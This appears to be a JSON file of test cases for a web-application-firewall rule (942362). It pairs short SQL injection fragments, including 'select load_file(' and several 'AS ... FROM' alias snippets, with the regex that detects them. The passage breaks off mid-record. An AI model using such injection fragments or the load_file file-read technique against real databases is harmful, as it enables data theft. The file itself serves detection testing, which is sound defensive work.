{ "input": { "malicious_payload": [ { "location": "post_body", "value": "select load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS Role FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `edit_user_id` from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS val FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%60+REGEXP%20" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS 'Durchschnitt_Importzeit' FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `OXTIMESTAMP` from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") as col_0_0_ from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS `count` FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS schlagwoerter FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") as User from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 